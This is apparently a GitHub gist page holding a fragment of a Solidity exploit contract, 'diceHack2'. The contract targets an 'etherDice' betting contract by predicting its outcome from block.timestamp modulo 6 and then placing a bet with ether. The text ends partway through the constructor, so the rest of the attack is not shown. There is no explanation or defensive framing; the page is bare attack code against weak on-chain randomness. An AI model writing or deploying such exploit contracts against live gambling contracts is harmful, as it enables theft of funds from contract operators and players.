Skip to content

Instantly share code, notes, and snippets.

pragma solidity >=0.4.22 <0.6.0;
interface etherDice {
function bet(uint _number) external payable returns(bool);
}
contract diceHack2 {
constructor (address _etherDice) public payable {
etherDice dice = etherDice(_etherDice);
uint number = block.timestamp % 6;